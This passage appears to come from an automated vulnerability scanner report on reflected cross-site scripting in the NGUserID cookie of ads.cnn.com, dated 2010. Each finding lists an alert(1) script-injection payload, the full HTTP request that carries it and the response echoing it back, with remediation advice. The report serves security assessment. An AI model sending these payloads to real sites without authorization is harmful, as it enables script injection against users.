5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59477,59987,61263,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-2c3b9e"><script>alert(1)</script>8794e90630d&amp;random=bpohccf,bgnofhuewqkxf" width="1" height="1" border="0" />
...[SNIP]...

2.13. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=779824 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39f2d"><script>alert(1)</script>53be0ceb6c6 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-239f2d"><script>alert(1)</script>53be0ceb6c6

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:16 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:16 GMT
Pragma: no-cache
Content-Length: 4497
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
7688,108372,108693&amp;Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-239f2d"><script>alert(1)</script>53be0ceb6c6%2CTIELID%2C1570051619821&amp;random=bKlmnuz,bgnoezeewAwce" width="1" height="1" border="0" />
...[SNIP]...

2.14. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b92b"><script>alert(1)</script>a2756d1bac2 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-24b92b"><script>alert(1)</script>a2756d1bac2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:06:52 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:06:52 GMT
Pragma: no-cache
Content-Length: 2970
Connection: close
Content-Type: text/html

<SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N3880.SD146.3880/B4469746.7;dcove=o;sz=300x250;click=http://ads.cnn.com/event.ng/Type=click&FlightID=301850&AdID=410104&TargetID=926
...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59477,59987,61263,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-24b92b"><script>alert(1)</script>a2756d1bac2&amp;random=qreprg,bgnofhmewqjIh" width="1" height="1" border="0" />
...[SNIP]...

2.15. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24cd4"><script>alert(1)</script>d7a08f7bc8b was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-224cd4"><script>alert(1)</script>d7a08f7bc8b; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:14 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:14 GMT
Pragma: no-cache
Content-Length: 7900
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61463,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-224cd4"><script>alert(1)</script>d7a08f7bc8b&amp;random=bizbsnx,bgnoficewqmfc" width="1" height="1" border="0" />
...[SNIP]...

2.16. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology¶ms.styles=fs&tile=1570051619821&domId=29771 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology&params.styles=fs&tile=1570051619821&domId=29771

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd242"><script>alert(1)</script>f63399d10fd was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology&params.styles=fs&tile=1570051619821&domId=29771 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2cd242"><script>alert(1)</script>f63399d10fd

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:25 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:25 GMT
Pragma: no-cache
Content-Length: 7679
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
Targets=1515,93105&amp;Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-2cd242"><script>alert(1)</script>f63399d10fd%2CTIELID%2C1570051619821&amp;random=bnweddy,bgnoeznewAwwR" width="1" height="1" border="0" />
...[SNIP]...

2.17. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 195f5"><script>alert(1)</script>ff29366999f was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2195f5"><script>alert(1)</script>ff29366999f; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:25 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:25 GMT
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 8230

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
3,1285,1588,1678,1690,1735,1815,2684,2737,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2195f5"><script>alert(1)</script>ff29366999f&Redirect=http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=331786748&mt=8" target="_blank">
...[SNIP]...

2.18. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e64e8'-alert(1)-'c0ca0c6aebe was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2e64e8'-alert(1)-'c0ca0c6aebe; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:25 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:25 GMT
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 8091

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
3,1285,1588,1678,1690,1735,1815,2684,2737,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2e64e8'-alert(1)-'c0ca0c6aebe&Redirect=http://www.cnn.com/SPECIALS/cnn.heroes/index.html" target="_blank">
...[SNIP]...

2.19. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=893172 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=893172

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbcea"><script>alert(1)</script>9641632f51a was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=893172 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2dbcea"><script>alert(1)</script>9641632f51a

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:43 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:43 GMT
Pragma: no-cache
Content-Length: 7176
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2dbcea"><script>alert(1)</script>9641632f51a%2CTIELID%2C1570051619821&Redirect=http://www.bethekingcontest.com" target="_blank">
...[SNIP]...

2.20. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=893172 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=893172

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70214'-alert(1)-'9cb0dbf117b was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=893172 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-270214'-alert(1)-'9cb0dbf117b

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:43 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:43 GMT
Pragma: no-cache
Content-Length: 7132
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-270214'-alert(1)-'9cb0dbf117b%2CTIELID%2C1570051619821&Redirect=http://www.bethekingcontest.com" target="_blank">
...[SNIP]...

2.21. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80088'-alert(1)-'ad65daf9de5 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-280088'-alert(1)-'ad65daf9de5; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:23 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:23 GMT
Pragma: no-cache
Content-Length: 6687
Connection: close
Content-Type: text/html

<script src="http://ads.cnn.com/DartRichMedia_1_03.js"></script>

<SCRIPT LANGUAGE=JavaScript>

var swf_click = "http://ads.cnn.com/event.ng/Type=click&FlightID=259857&AdID=449087&TargetID=94538&Segme
...[SNIP]...
3,1285,1588,1678,1690,1735,1815,2684,2737,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-280088'-alert(1)-'ad65daf9de5&Redirect=http://www.cnn.com/SPECIALS/cnn.heroes/index.html" target="_blank">
...[SNIP]...

2.22. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de5cd"><script>alert(1)</script>d11bd9f300d was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2de5cd"><script>alert(1)</script>d11bd9f300d; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:23 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:23 GMT
Pragma: no-cache
Content-Length: 6732
Connection: close
Content-Type: text/html

<script src="http://ads.cnn.com/DartRichMedia_1_03.js"></script>

<SCRIPT LANGUAGE=JavaScript>

var swf_click = "http://ads.cnn.com/event.ng/Type=click&FlightID=259857&AdID=449087&TargetID=94538&Segme
...[SNIP]...
3,1285,1588,1678,1690,1735,1815,2684,2737,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2de5cd"><script>alert(1)</script>d11bd9f300d&Redirect=http://www.cnn.com/SPECIALS/cnn.heroes/index.html" target="_blank">
...[SNIP]...

2.23. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ecf9"><script>alert(1)</script>7503d27017f was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-26ecf9"><script>alert(1)</script>7503d27017f; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:06:49 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:06:49 GMT
Pragma: no-cache
Content-Length: 1139
Connection: close
Content-Type: text/html

<div style="position:absolute;visibility:hidden;"><img src="http://ads.cnn.com:80/event.ng/Type=count&amp;ClientType=2&amp;ASeg=&amp;AMod=&amp;AOpt=0&amp;AdID=367311&amp;FlightID=268305&amp;TargetID=1
...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,58920,59987,61263,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-26ecf9"><script>alert(1)</script>7503d27017f&amp;random=cfmKirI,bgnofhjewqjnl" width="1" height="1" border="0" />
...[SNIP]...

2.24. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=732771 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
